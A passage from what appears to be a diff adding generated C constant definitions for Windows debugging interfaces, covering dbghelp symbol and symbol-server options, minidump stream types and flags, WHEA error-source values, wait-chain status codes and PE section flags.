SYM_STKWALK_ZEROEXTEND_PTRS 0x2 +#define API_VERSION_NUMBER 0xc +#define SYMFLAG_NULL 0x80000 +#define SYMFLAG_FUNC_NO_RETURN 0x100000 +#define SYMFLAG_SYNTHETIC_ZEROBASE 0x200000 +#define SYMFLAG_PUBLIC_CODE 0x400000 +#define SYMFLAG_REGREL_ALIASINDIR 0x800000 +#define SYMFLAG_FIXUP_ARM64X 0x1000000 +#define SYMFLAG_GLOBAL 0x2000000 +#define SYMFLAG_COMPLEX 0x4000000 +#define SYMFLAG_RESET 0x80000000 +#define IMAGEHLP_MODULE_REGION_DLLBASE 0x1 +#define IMAGEHLP_MODULE_REGION_DLLRANGE 0x2 +#define IMAGEHLP_MODULE_REGION_ADDITIONAL 0x4 +#define IMAGEHLP_MODULE_REGION_JIT 0x8 +#define IMAGEHLP_MODULE_REGION_ALL 0xff +#define CBA_DEFERRED_SYMBOL_LOAD_START 0x1 +#define CBA_DEFERRED_SYMBOL_LOAD_COMPLETE 0x2 +#define CBA_DEFERRED_SYMBOL_LOAD_FAILURE 0x3 +#define CBA_SYMBOLS_UNLOADED 0x4 +#define CBA_DUPLICATE_SYMBOL 0x5 +#define CBA_READ_MEMORY 0x6 +#define CBA_DEFERRED_SYMBOL_LOAD_CANCEL 0x7 +#define CBA_SET_OPTIONS 0x8 +#define CBA_EVENT 0x10 +#define CBA_DEFERRED_SYMBOL_LOAD_PARTIAL 0x20 +#define CBA_DEBUG_INFO 0x10000000 +#define CBA_SRCSRV_INFO 0x20000000 +#define CBA_SRCSRV_EVENT 0x40000000 +#define CBA_UPDATE_STATUS_BAR 0x50000000 +#define CBA_ENGINE_PRESENT 0x60000000 +#define CBA_CHECK_ENGOPT_DISALLOW_NETWORK_PATHS 0x70000000 +#define CBA_CHECK_ARM_MACHINE_THUMB_TYPE_OVERRIDE 0x80000000 +#define CBA_XML_LOG 0x90000000 +#define CBA_MAP_JIT_SYMBOL 0xa0000000 +#define EVENT_SRCSPEW_START 0x64 +#define EVENT_SRCSPEW 0x64 +#define EVENT_SRCSPEW_END 0xc7 +#define DSLFLAG_MISMATCHED_PDB 0x1 +#define DSLFLAG_MISMATCHED_DBG 0x2 +#define FLAG_ENGINE_PRESENT 0x4 +#define FLAG_ENGOPT_DISALLOW_NETWORK_PATHS 0x8 +#define FLAG_OVERRIDE_ARM_MACHINE_TYPE 0x10 +#define SYMOPT_CASE_INSENSITIVE 0x1 +#define SYMOPT_UNDNAME 0x2 +#define SYMOPT_DEFERRED_LOADS 0x4 +#define SYMOPT_NO_CPP 0x8 +#define SYMOPT_LOAD_LINES 0x10 +#define SYMOPT_OMAP_FIND_NEAREST 0x20 +#define SYMOPT_LOAD_ANYTHING 0x40 +#define SYMOPT_IGNORE_CVREC 0x80 +#define SYMOPT_NO_UNQUALIFIED_LOADS 0x100 +#define SYMOPT_FAIL_CRITICAL_ERRORS 0x200 +#define SYMOPT_EXACT_SYMBOLS 0x400 +#define SYMOPT_ALLOW_ABSOLUTE_SYMBOLS 0x800 +#define SYMOPT_IGNORE_NT_SYMPATH 0x1000 +#define SYMOPT_INCLUDE_32BIT_MODULES 0x2000 +#define SYMOPT_PUBLICS_ONLY 0x4000 +#define SYMOPT_NO_PUBLICS 0x8000 +#define SYMOPT_AUTO_PUBLICS 0x10000 +#define SYMOPT_NO_IMAGE_SEARCH 0x20000 +#define SYMOPT_SECURE 0x40000 +#define SYMOPT_NO_PROMPTS 0x80000 +#define SYMOPT_OVERWRITE 0x100000 +#define SYMOPT_IGNORE_IMAGEDIR 0x200000 +#define SYMOPT_FLAT_DIRECTORY 0x400000 +#define SYMOPT_FAVOR_COMPRESSED 0x800000 +#define SYMOPT_ALLOW_ZERO_ADDRESS 0x1000000 +#define SYMOPT_DISABLE_SYMSRV_AUTODETECT 0x2000000 +#define SYMOPT_READONLY_CACHE 0x4000000 +#define SYMOPT_SYMPATH_LAST 0x8000000 +#define SYMOPT_DISABLE_FAST_SYMBOLS 0x10000000 +#define SYMOPT_DISABLE_SYMSRV_TIMEOUT 0x20000000 +#define SYMOPT_DISABLE_SRVSTAR_ON_STARTUP 0x40000000 +#define SYMOPT_DEBUG 0x80000000 +#define SYM_INLINE_COMP_ERROR 0x0 +#define SYM_INLINE_COMP_IDENTICAL 0x1 +#define SYM_INLINE_COMP_STEPIN 0x2 +#define SYM_INLINE_COMP_STEPOUT 0x3 +#define SYM_INLINE_COMP_STEPOVER 0x4 +#define SYM_INLINE_COMP_DIFFERENT 0x5 +#define ESLFLAG_FULLPATH 0x1 +#define ESLFLAG_NEAREST 0x2 +#define ESLFLAG_PREV 0x4 +#define ESLFLAG_NEXT 0x8 +#define ESLFLAG_INLINE_SITE 0x10 +#define SYMENUM_OPTIONS_DEFAULT 0x1 +#define SYMENUM_OPTIONS_INLINE 0x2 +#define SYMSEARCH_MASKOBJS 0x1 +#define SYMSEARCH_RECURSE 0x2 +#define SYMSEARCH_GLOBALSONLY 0x4 +#define SYMSEARCH_ALLITEMS 0x8 +#define EXT_OUTPUT_VER 0x1 +#define SYMSRV_VERSION 0x2 +#define SSRVOPT_CALLBACK 0x1 +#define SSRVOPT_OLDGUIDPTR 0x10 +#define SSRVOPT_UNATTENDED 0x20 +#define SSRVOPT_NOCOPY 0x40 +#define SSRVOPT_GETPATH 0x40 +#define SSRVOPT_PARENTWIN 0x80 +#define SSRVOPT_PARAMTYPE 0x100 +#define SSRVOPT_SECURE 0x200 +#define SSRVOPT_TRACE 0x400 +#define SSRVOPT_SETCONTEXT 0x800 +#define SSRVOPT_PROXY 0x1000 +#define SSRVOPT_DOWNSTREAM_STORE 0x2000 +#define SSRVOPT_OVERWRITE 0x4000 +#define SSRVOPT_RESETTOU 0x8000 +#define SSRVOPT_CALLBACKW 0x10000 +#define SSRVOPT_FLAT_DEFAULT_STORE 0x20000 +#define SSRVOPT_PROXYW 0x40000 +#define SSRVOPT_MESSAGE 0x80000 +#define SSRVOPT_SERVICE 0x100000 +#define SSRVOPT_FAVOR_COMPRESSED 0x200000 +#define SSRVOPT_STRING 0x400000 +#define SSRVOPT_WINHTTP 0x800000 +#define SSRVOPT_WININET 0x1000000 +#define SSRVOPT_DONT_UNCOMPRESS 0x2000000 +#define SSRVOPT_DISABLE_PING_HOST 0x4000000 +#define SSRVOPT_DISABLE_TIMEOUT 0x8000000 +#define SSRVOPT_ENABLE_COMM_MSG 0x10000000 +#define SSRVOPT_URI_FILTER 0x20000000 +#define SSRVOPT_URI_TIERS 0x40000000 +#define SSRVOPT_RETRY_APP_HANG 0x80000000 +#define SSRVOPT_MAX 0x80000000 +#define NUM_SSRVOPTS 0x20 +#define SSRVURI_HTTP_NORMAL 0x1 +#define SSRVURI_HTTP_COMPRESSED 0x2 +#define SSRVURI_HTTP_FILEPTR 0x4 +#define SSRVURI_UNC_NORMAL 0x10 +#define SSRVURI_UNC_COMPRESSED 0x20 +#define SSRVURI_UNC_FILEPTR 0x40 +#define SSRVURI_HTTP_MASK 0xf +#define SSRVURI_UNC_MASK 0xf0 +#define SSRVURI_ALL 0xff +#define SSRVURI_NORMAL 0x1 +#define SSRVURI_COMPRESSED 0x2 +#define SSRVURI_FILEPTR 0x4 +#define SSRVACTION_TRACE 0x1 +#define SSRVACTION_QUERYCANCEL 0x2 +#define SSRVACTION_EVENT 0x3 +#define SSRVACTION_EVENTW 0x4 +#define SSRVACTION_SIZE 0x5 +#define SSRVACTION_HTTPSTATUS 0x6 +#define SSRVACTION_XMLOUTPUT 0x7 +#define SSRVACTION_CHECKSUMSTATUS 0x8 +#define SYMSTOREOPT_ALT_INDEX 0x10 +#define SYMSTOREOPT_UNICODE 0x20 +#define SYMF_OMAP_GENERATED 0x1 +#define SYMF_OMAP_MODIFIED 0x2 +#define SYMF_REGISTER 0x8 +#define SYMF_REGREL 0x10 +#define SYMF_FRAMEREL 0x20 +#define SYMF_PARAMETER 0x40 +#define SYMF_LOCAL 0x80 +#define SYMF_CONSTANT 0x100 +#define SYMF_EXPORT 0x200 +#define SYMF_FORWARDER 0x400 +#define SYMF_FUNCTION 0x800 +#define SYMF_VIRTUAL 0x1000 +#define SYMF_THUNK 0x2000 +#define SYMF_TLSREL 0x4000 +#define IMAGEHLP_SYMBOL_INFO_VALUEPRESENT 0x1 +#define IMAGEHLP_SYMBOL_INFO_REGISTER 0x8 +#define IMAGEHLP_SYMBOL_INFO_REGRELATIVE 0x10 +#define IMAGEHLP_SYMBOL_INFO_FRAMERELATIVE 0x20 +#define IMAGEHLP_SYMBOL_INFO_PARAMETER 0x40 +#define IMAGEHLP_SYMBOL_INFO_LOCAL 0x80 +#define IMAGEHLP_SYMBOL_INFO_CONSTANT 0x100 +#define IMAGEHLP_SYMBOL_FUNCTION 0x800 +#define IMAGEHLP_SYMBOL_VIRTUAL 0x1000 +#define IMAGEHLP_SYMBOL_THUNK 0x2000 +#define IMAGEHLP_SYMBOL_INFO_TLSRELATIVE 0x4000 +#define IMAGEHLP_RMAP_MAPPED_FLAT 0x1 +#define IMAGEHLP_RMAP_BIG_ENDIAN 0x2 +#define IMAGEHLP_RMAP_IGNORE_MISCOMPARE 0x4 +#define IMAGEHLP_RMAP_FIXUP_ARM64X 0x10000000 +#define IMAGEHLP_RMAP_LOAD_RW_DATA_SECTIONS 0x20000000 +#define IMAGEHLP_RMAP_OMIT_SHARED_RW_DATA_SECTIONS 0x40000000 +#define IMAGEHLP_RMAP_FIXUP_IMAGEBASE 0x80000000 +#define DMP_PHYSICAL_MEMORY_BLOCK_SIZE_32 0x2bc +#define DMP_CONTEXT_RECORD_SIZE_32 0x4b0 +#define DMP_RESERVED_0_SIZE_32 0x6e0 +#define DMP_RESERVED_2_SIZE_32 0x10 +#define DMP_RESERVED_3_SIZE_32 0x38 +#define DMP_PHYSICAL_MEMORY_BLOCK_SIZE_64 0x2bc +#define DMP_CONTEXT_RECORD_SIZE_64 0xbb8 +#define DMP_RESERVED_0_SIZE_64 0xfa8 +#define DMP_HEADER_COMMENT_SIZE 0x80 +#define DUMP_SUMMARY_VALID_KERNEL_VA 0x1 +#define DUMP_SUMMARY_VALID_CURRENT_USER_VA 0x2 +#define MINIDUMP_VERSION 0xa793 +#define MINIDUMP_MISC1_PROCESSOR_POWER_INFO 0x4 +#define MINIDUMP_MISC3_PROCESS_INTEGRITY 0x10 +#define MINIDUMP_MISC3_PROCESS_EXECUTE_FLAGS 0x20 +#define MINIDUMP_MISC3_TIMEZONE 0x40 +#define MINIDUMP_MISC3_PROTECTED_PROCESS 0x80 +#define MINIDUMP_MISC4_BUILDSTRING 0x100 +#define MINIDUMP_MISC5_PROCESS_COOKIE 0x200 +#define MINIDUMP_SYSMEMINFO1_FILECACHE_TRANSITIONREPURPOSECOUNT_FLAGS 0x1 +#define MINIDUMP_SYSMEMINFO1_BASICPERF 0x2 +#define MINIDUMP_SYSMEMINFO1_PERF_CCTOTALDIRTYPAGES_CCDIRTYPAGETHRESHOLD 0x4 +#define MINIDUMP_SYSMEMINFO1_PERF_RESIDENTAVAILABLEPAGES_SHAREDCOMMITPAGES 0x8 +#define MINIDUMP_SYSMEMINFO1_PERF_MDLPAGESALLOCATED_PFNDATABASECOMMITTEDPAGES 0x10 +#define MINIDUMP_SYSMEMINFO1_PERF_SYSTEMPAGETABLECOMMITTEDPAGES_CONTIGUOUSPAGESALLOCATED 0x20 +#define MINIDUMP_PROCESS_VM_COUNTERS 0x1 +#define MINIDUMP_PROCESS_VM_COUNTERS_VIRTUALSIZE 0x2 +#define MINIDUMP_PROCESS_VM_COUNTERS_EX 0x4 +#define MINIDUMP_PROCESS_VM_COUNTERS_EX2 0x8 +#define MINIDUMP_PROCESS_VM_COUNTERS_JOB 0x10 +#define INTERFACESAFE_FOR_UNTRUSTED_CALLER 0x1 +#define INTERFACESAFE_FOR_UNTRUSTED_DATA 0x2 +#define INTERFACE_USES_DISPEX 0x4 +#define INTERFACE_USES_SECURITY_MANAGER 0x8 +#define WCT_MAX_NODE_COUNT 0x10 +#define WCT_OBJNAME_LENGTH 0x80 +#define WCT_NETWORK_IO_FLAG 0x8 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_VERSION_10 0xa +#define WHEA_ERROR_SOURCE_DESCRIPTOR_VERSION_11 0xb +#define WHEA_MAX_MC_BANKS 0x20 +#define WHEA_ERROR_SOURCE_FLAG_FIRMWAREFIRST 0x1 +#define WHEA_ERROR_SOURCE_FLAG_GLOBAL 0x2 +#define WHEA_ERROR_SOURCE_FLAG_GHES_ASSIST 0x4 +#define WHEA_ERROR_SOURCE_FLAG_DEFAULTSOURCE 0x80000000 +#define WHEA_ERR_SRC_OVERRIDE_FLAG 0x40000000 +#define WHEA_ERROR_SOURCE_INVALID_RELATED_SOURCE 0xffff +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_XPFMCE 0x0 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_XPFCMC 0x1 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_XPFNMI 0x2 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_IPFMCA 0x3 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_IPFCMC 0x4 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_IPFCPE 0x5 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_AERROOTPORT 0x6 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_AERENDPOINT 0x7 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_AERBRIDGE 0x8 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_GENERIC 0x9 +#define WHEA_ERROR_SOURCE_DESCRIPTOR_TYPE_GENERIC_V2 0xa +#define WHEA_XPF_MC_BANK_STATUSFORMAT_IA32MCA 0x0 +#define WHEA_XPF_MC_BANK_STATUSFORMAT_Intel64MCA 0x1 +#define WHEA_XPF_MC_BANK_STATUSFORMAT_AMD64MCA 0x2 +#define WHEA_NOTIFICATION_TYPE_POLLED 0x0 +#define WHEA_NOTIFICATION_TYPE_EXTERNALINTERRUPT 0x1 +#define WHEA_NOTIFICATION_TYPE_LOCALINTERRUPT 0x2 +#define WHEA_NOTIFICATION_TYPE_SCI 0x3 +#define WHEA_NOTIFICATION_TYPE_NMI 0x4 +#define WHEA_NOTIFICATION_TYPE_CMCI 0x5 +#define WHEA_NOTIFICATION_TYPE_MCE 0x6 +#define WHEA_NOTIFICATION_TYPE_GPIO_SIGNAL 0x7 +#define WHEA_NOTIFICATION_TYPE_ARMV8_SEA 0x8 +#define WHEA_NOTIFICATION_TYPE_ARMV8_SEI 0x9 +#define WHEA_NOTIFICATION_TYPE_EXTERNALINTERRUPT_GSIV 0xa +#define WHEA_NOTIFICATION_TYPE_SDEI 0xb +#define WHEA_DEVICE_DRIVER_CONFIG_V1 0x1 +#define WHEA_DEVICE_DRIVER_CONFIG_V2 0x2 +#define WHEA_DEVICE_DRIVER_CONFIG_MIN 0x1 +#define WHEA_DEVICE_DRIVER_CONFIG_MAX 0x2 +#define WHEA_DEVICE_DRIVER_BUFFER_SET_V1 0x1 +#define WHEA_DEVICE_DRIVER_BUFFER_SET_MIN 0x1 +#define WHEA_DEVICE_DRIVER_BUFFER_SET_MAX 0x1 +#define WHEA_DISABLE_OFFLINE 0x0 +#define WHEA_MEM_PERSISTOFFLINE 0x1 +#define WHEA_MEM_PFA_DISABLE 0x2 +#define WHEA_MEM_PFA_PAGECOUNT 0x3 +#define WHEA_MEM_PFA_THRESHOLD 0x4 +#define WHEA_MEM_PFA_TIMEOUT 0x5 +#define WHEA_DISABLE_DUMMY_WRITE 0x6 +#define WHEA_RESTORE_CMCI_ENABLED 0x7 +#define WHEA_RESTORE_CMCI_ATTEMPTS 0x8 +#define WHEA_RESTORE_CMCI_ERR_LIMIT 0x9 +#define WHEA_CMCI_THRESHOLD_COUNT 0xa +#define WHEA_CMCI_THRESHOLD_TIME 0xb +#define WHEA_CMCI_THRESHOLD_POLL_COUNT 0xc +#define WHEA_PENDING_PAGE_LIST_SZ 0xd +#define WHEA_BAD_PAGE_LIST_MAX_SIZE 0xe +#define WHEA_BAD_PAGE_LIST_LOCATION 0xf +#define WHEA_NOTIFY_ALL_OFFLINES 0x10 +#define WHEA_ROW_FAIL_CHECK_EXTENT 0x11 +#define WHEA_ROW_FAIL_CHECK_ENABLE 0x12 +#define WHEA_ROW_FAIL_CHECK_THRESHOLD 0x13 +#define WHEA_DISABLE_PRM_ADDRESS_TRANSLATION 0x14 +#define WHEA_ENABLE_BATCHED_ROW_OFFLINE 0x15 +#define IPMI_OS_SEL_RECORD_VERSION_1 0x1 +#define IPMI_OS_SEL_RECORD_VERSION 0x1 +#define IPMI_IOCTL_INDEX 0x400 +#define IOCTL_IPMI_INTERNAL_RECORD_SEL_EVENT 0x221000 +#define IPMI_OS_SEL_RECORD_MASK 0xffff +#define sevMax 4 +#define BitErrorDdr4 0 +#define RowErrorDdr4 1 +#define BitErrorDdr5 2 +#define RowErrorDdr5 3 +#define SLE_ERROR 0x1 +#define SLE_MINORERROR 0x2 +#define SLE_WARNING 0x3 +#define SYMOPT_EX_DISABLEACCESSTIMEUPDATE 0 +#define SYMOPT_EX_LASTVALIDDEBUGDIRECTORY 1 +#define SYMOPT_EX_NOIMPLICITPATTERNSEARCH 2 +#define SYMOPT_EX_NEVERLOADSYMBOLS 3 +#define SYMOPT_EX_MAX 4 +#define DBGPROP_INFO_NAME 1 +#define DBGPROP_INFO_TYPE 2 +#define DBGPROP_INFO_VALUE 4 +#define DBGPROP_INFO_FULLNAME 32 +#define DBGPROP_INFO_ATTRIBUTES 8 +#define DBGPROP_INFO_DEBUGPROP 16 +#define DBGPROP_INFO_BEAUTIFY 33554432 +#define DBGPROP_INFO_CALLTOSTRING 67108864 +#define DBGPROP_INFO_AUTOEXPAND 134217728 +#define EX_PROP_INFO_ID 256 +#define EX_PROP_INFO_NTYPE 512 +#define EX_PROP_INFO_NVALUE 1024 +#define EX_PROP_INFO_LOCKBYTES 2048 +#define EX_PROP_INFO_DEBUGEXTPROP 4096 +#define DBHHEADER_DEBUGDIRS 0x1 +#define DBHHEADER_CVMISC 0x2 +#define FORMAT_MESSAGE_ALLOCATE_BUFFER 0x100 +#define FORMAT_MESSAGE_ARGUMENT_ARRAY 0x2000 +#define FORMAT_MESSAGE_FROM_HMODULE 0x800 +#define FORMAT_MESSAGE_FROM_STRING 0x400 +#define FORMAT_MESSAGE_FROM_SYSTEM 0x1000 +#define FORMAT_MESSAGE_IGNORE_INSERTS 0x200 +#define PROP_INFO_NAME 1 +#define PROP_INFO_TYPE 2 +#define PROP_INFO_VALUE 4 +#define PROP_INFO_FULLNAME 32 +#define PROP_INFO_ATTRIBUTES 8 +#define PROP_INFO_DEBUGPROP 16 +#define PROP_INFO_AUTOEXPAND 134217728 +#define UnusedStream 0 +#define ReservedStream0 1 +#define ReservedStream1 2 +#define ThreadListStream 3 +#define ModuleListStream 4 +#define MemoryListStream 5 +#define ExceptionStream 6 +#define SystemInfoStream 7 +#define ThreadExListStream 8 +#define Memory64ListStream 9 +#define CommentStreamA 10 +#define CommentStreamW 11 +#define HandleDataStream 12 +#define FunctionTableStream 13 +#define UnloadedModuleListStream 14 +#define MiscInfoStream 15 +#define MemoryInfoListStream 16 +#define ThreadInfoListStream 17 +#define HandleOperationListStream 18 +#define TokenStream 19 +#define JavaScriptDataStream 20 +#define SystemMemoryInfoStream 21 +#define ProcessVmCountersStream 22 +#define IptTraceStream 23 +#define ThreadNamesStream 24 +#define ceStreamNull 32768 +#define ceStreamSystemInfo 32769 +#define ceStreamException 32770 +#define ceStreamModuleList 32771 +#define ceStreamProcessList 32772 +#define ceStreamThreadList 32773 +#define ceStreamThreadContextList 32774 +#define ceStreamThreadCallStackList 32775 +#define ceStreamMemoryVirtualList 32776 +#define ceStreamMemoryPhysicalList 32777 +#define ceStreamBucketParameters 32778 +#define ceStreamProcessModuleMap 32779 +#define ceStreamDiagnosisList 32780 +#define LastReservedStream 65535 +#define WctStatusNoAccess 1 +#define WctStatusRunning 2 +#define WctStatusBlocked 3 +#define WctStatusPidOnly 4 +#define WctStatusPidOnlyRpcss 5 +#define WctStatusOwned 6 +#define WctStatusNotOwned 7 +#define WctStatusAbandoned 8 +#define WctStatusUnknown 9 +#define WctStatusError 10 +#define WctStatusMax 11 +#define WctCriticalSectionType 1 +#define WctSendMessageType 2 +#define WctMutexType 3 +#define WctAlpcType 4 +#define WctComType 5 +#define WctThreadWaitType 6 +#define WctProcessWaitType 7 +#define WctThreadType 8 +#define WctComActivationType 9 +#define WctUnknownType 10 +#define WctSocketIoType 11 +#define WctSmbIoType 12 +#define WctMaxType 13 +#define DBGPROP_ATTRIB_NO_ATTRIB 0 +#define DBGPROP_ATTRIB_VALUE_IS_INVALID 8 +#define DBGPROP_ATTRIB_VALUE_IS_EXPANDABLE 16 +#define DBGPROP_ATTRIB_VALUE_IS_FAKE 32 +#define DBGPROP_ATTRIB_VALUE_IS_METHOD 256 +#define DBGPROP_ATTRIB_VALUE_IS_EVENT 512 +#define DBGPROP_ATTRIB_VALUE_IS_RAW_STRING 1024 +#define DBGPROP_ATTRIB_VALUE_READONLY 2048 +#define DBGPROP_ATTRIB_ACCESS_PUBLIC 4096 +#define DBGPROP_ATTRIB_ACCESS_PRIVATE 8192 +#define DBGPROP_ATTRIB_ACCESS_PROTECTED 16384 +#define DBGPROP_ATTRIB_ACCESS_FINAL 32768 +#define DBGPROP_ATTRIB_STORAGE_GLOBAL 65536 +#define DBGPROP_ATTRIB_STORAGE_STATIC 131072 +#define DBGPROP_ATTRIB_STORAGE_FIELD 262144 +#define DBGPROP_ATTRIB_STORAGE_VIRTUAL 524288 +#define DBGPROP_ATTRIB_TYPE_IS_CONSTANT 1048576 +#define DBGPROP_ATTRIB_TYPE_IS_SYNCHRONIZED 2097152 +#define DBGPROP_ATTRIB_TYPE_IS_VOLATILE 4194304 +#define DBGPROP_ATTRIB_HAS_EXTENDED_ATTRIBS 8388608 +#define DBGPROP_ATTRIB_FRAME_INTRYBLOCK 16777216 +#define DBGPROP_ATTRIB_FRAME_INCATCHBLOCK 33554432 +#define DBGPROP_ATTRIB_FRAME_INFINALLYBLOCK 67108864 +#define DBGPROP_ATTRIB_VALUE_IS_RETURN_VALUE 134217728 +#define DBGPROP_ATTRIB_VALUE_PENDING_MUTATION 268435456 +#define WheaErrSrcStateStopped 1 +#define WheaErrSrcStateStarted 2 +#define WheaErrSrcStateRemoved 3 +#define WheaErrSrcStateRemovePending 4 +#define UNW_FLAG_NHANDLER 0x0 +#define UNW_FLAG_EHANDLER 0x1 +#define UNW_FLAG_UHANDLER 0x2 +#define UNW_FLAG_CHAININFO 0x4 +#define IMAGE_SCN_TYPE_NO_PAD 0x8 +#define IMAGE_SCN_CNT_CODE 0x20 +#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x40 +#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x80 +#define IMAGE_SCN_LNK_OTHER 0x100 +#define IMAGE_SCN_LNK_INFO 0x200 +#define IMAGE_SCN_LNK_REMOVE 0x800 +#define IMAGE_SCN_LNK_COMDAT 0x1000 +#define IMAGE_SCN_NO_DEFER_SPEC_EXC 0x4000 +#define IMAGE_SCN_GPREL 0x8000 +#define IMAGE_SCN_MEM_FARDATA 0x8000 +#define IMAGE_SCN_MEM_PURGEABLE 0x20000 +#define IMAGE_SCN_MEM_16BIT 0x20000 +#define IMAGE_SCN_MEM_LOCKED 0x40000 +#define IMAGE_SCN_MEM_PRELOAD 0x80000 +#define IMAGE_SCN_ALIGN_1BYTES 0x100000 +#define IMAGE_SCN_ALIGN_2BYTES 0x200000 +#define IMAGE_SCN_ALIGN_4BYTES 0x300000 +#define IMAGE_SCN_ALIGN_8BYTES 0x400000 +#define IMAGE_SCN_ALIGN_16BYTES 0x500000 +#define IMAGE_SCN_ALIGN_32BYTES 0x600000 +#define IMAGE_SCN_ALIGN_64BYTES 0x700000 +#define IMAGE_SCN_ALIGN_128BYTES 0x800000 +#define IMAGE_SCN_ALIGN_256BYTES 0x900000 +#define IMAGE_SCN_ALIGN_512BYTES 0xa00000 +#define IMAGE_SCN_ALIGN_1024BYTES 0xb00000 +#define IMAGE_SCN_ALIGN_2048BYTES 0xc00000 +#define IMAGE_SCN_ALIGN_4096BYTES 0xd00000 +#define IMAGE_SCN_ALIGN_8192BYTES 0xe00000 +#define IMAGE_SCN_ALIGN_MASK 0xf00000 +#define IMAGE_SCN_LNK_NRELOC_OVFL 0x1000000 +#define IMAGE_SCN_MEM_DISCARDABLE 0x2000000 +#define IMAGE_SCN_MEM_NOT_CACHED 0x4000000 +#define IMAGE_SCN_MEM_NOT_PAGED 0x8000000 +#define IMAGE_SCN_MEM_SHARED 0x10000000 +#define IMAGE_SCN_MEM_EXECUTE 0x20000000 +#define IMAGE_SCN_MEM_READ 0x40000000 +#define IMAGE_SCN_MEM_WRITE 0x80000000 +#define IMAGE_SCN_SCALE_INDEX 0x1 +#define ThreadWriteThread 1 +#define ThreadWriteStack 2 +#define ThreadWriteContext 4 +#define ThreadWriteBackingStore 8 +#define ThreadWriteInstructionWindow 16 +#define ThreadWriteThreadData 32 +#define ThreadWriteThreadInfo 64 +#define MiniDumpNormal 0 +#define MiniDumpWithDataSegs 1 +#define MiniDumpWithFullMemory 2 +#define MiniDumpWithHandleData 4 +#define MiniDumpFilterMemory 8 +#define MiniDumpScanMemory 16 +#define MiniDumpWithUnloadedModules 32 +#define MiniDumpWithIndirectlyReferencedMemory 64 +#define MiniDumpFilterModulePaths 128 +#define MiniDumpWithProcessThreadData 256 +#define MiniDumpWithPrivateReadWriteMemory 512 +#define MiniDumpWithoutOptionalData 1024 +#define MiniDumpWithFullMemoryInfo 2048 +#define MiniDumpWithThreadInfo 4096 +#define MiniDumpWithCodeSegs 8192 +#define MiniDumpWithoutAuxiliaryState 16384 +#define MiniDumpWithFullAuxiliaryState 32768 +#define MiniDumpWithPrivateWriteCopyMemory 65536 +#define MiniDumpIgnoreInaccessibleMemory 131072 +#define MiniDumpWithTokenInformation 262144 +#define MiniDumpWithModuleHeaders 524288 +#define MiniDumpFilterTriage 1048576 +#define MiniDumpWithAvxXStateContext 2097152 +#define MiniDumpWithIptTrace 4194304 +#define MiniDumpScanInaccessiblePartialPages 8388608 +#define MiniDumpFilterWriteCombinedMemory 16777216 +#define MiniDumpValidTypeFlags 33554431 +#define MiniDumpNoIgnoreInaccessibleMemory 33554432 +#define MiniDumpValidTypeFlagsEx 67108863 +#define OBJECT_ATTRIB_NO_ATTRIB 0 +#define OBJECT_ATTRIB_NO_NAME 1 +#define OBJECT_ATTRIB_NO_TYPE 2 +#define OBJECT_ATTRIB_NO_VALUE 4 +#define OBJECT_ATTRIB_VALUE_IS_INVALID 8 +#define OBJECT_ATTRIB_VALUE_IS_OBJECT 16 +#define OBJECT_ATTRIB_VALUE_IS_ENUM 32 +#define OBJECT_ATTRIB_VALUE_IS_CUSTOM 64 +#define OBJECT_ATTRIB_OBJECT_IS_EXPANDABLE 112 +#define OBJECT_ATTRIB_VALUE_HAS_CODE 128 +#define OBJECT_ATTRIB_TYPE_IS_OBJECT 256 +#define OBJECT_ATTRIB_TYPE_HAS_CODE 512 +#define OBJECT_ATTRIB_TYPE_IS_EXPANDABLE 256 +#define OBJECT_ATTRIB_SLOT_IS_CATEGORY 1024 +#define OBJECT_ATTRIB_VALUE_READONLY 2048 +#define OBJECT_ATTRIB_ACCESS_PUBLIC 4096 +#define OBJECT_ATTRIB_ACCESS_PRIVATE 8192 +#define OBJECT_ATTRIB_ACCESS_PROTECTED 16384 +#define OBJECT_ATTRIB_ACCESS_FINAL 32768 +#define OBJECT_ATTRIB_STORAGE_GLOBAL 65536 +#define OBJECT_ATTRIB_STORAGE_STATIC 131072 +#define OBJECT_ATTRIB_STORAGE_FIELD 262144 +#define OBJECT_ATTRIB_STORAGE_VIRTUAL 524288 +#define OBJECT_ATTRIB_TYPE_IS_CONSTANT 1048576 +#define OBJECT_ATTRIB_TYPE_IS_SYNCHRONIZED 2097152 +#define OBJECT_ATTRIB_TYPE_IS_VOLATILE 4194304 +#define OBJECT_ATTRIB_HAS_EXTENDED_ATTRIBS 8388608 +#define OBJECT_ATTRIB_IS_CLASS 16777216 +#define OBJECT_ATTRIB_IS_FUNCTION 33554432 +#define OBJECT_ATTRIB_IS_VARIABLE 67108864 +#define OBJECT_ATTRIB_IS_PROPERTY 134217728 +#define OBJECT_ATTRIB_IS_MACRO 268435456 +#define OBJECT_ATTRIB_IS_TYPE 536870912 +#define OBJECT_ATTRIB_IS_INHERITED 1073741824 +#define OBJECT_ATTRIB_IS_INTERFACE -2147483648 +#define SLMFLAG_NONE 0x0 +#define SLMFLAG_VIRTUAL 0x1 +#define SLMFLAG_ALT_INDEX 0x2 +#define SLMFLAG_NO_SYMBOLS 0x4 +#define MiniHandleObjectInformationNone 0 +#define MiniThreadInformation1 1 +#define MiniMutantInformation1 2 +#define MiniMutantInformation2 3 +#define MiniProcessInformation1 4 +#define MiniProcessInformation2 5 +#define MiniEventInformation1 6 +#define MiniSectionInformation1 7 +#define MiniSemaphoreInformation1 8 +#define MiniHandleObjectInformationTypeMax 9 +#define IMAGE_DEBUG_TYPE_UNKNOWN 0x0 +#define IMAGE_DEBUG_TYPE_COFF 0x1 +#define IMAGE_DEBUG_TYPE_CODEVIEW 0x2 +#define IMAGE_DEBUG_TYPE_FPO 0x3 +#define IMAGE_DEBUG_TYPE_MISC 0x4 +#define IMAGE_DEBUG_TYPE_EXCEPTION 0x5 +#define IMAGE_DEBUG_TYPE_FIXUP 0x6 +#define 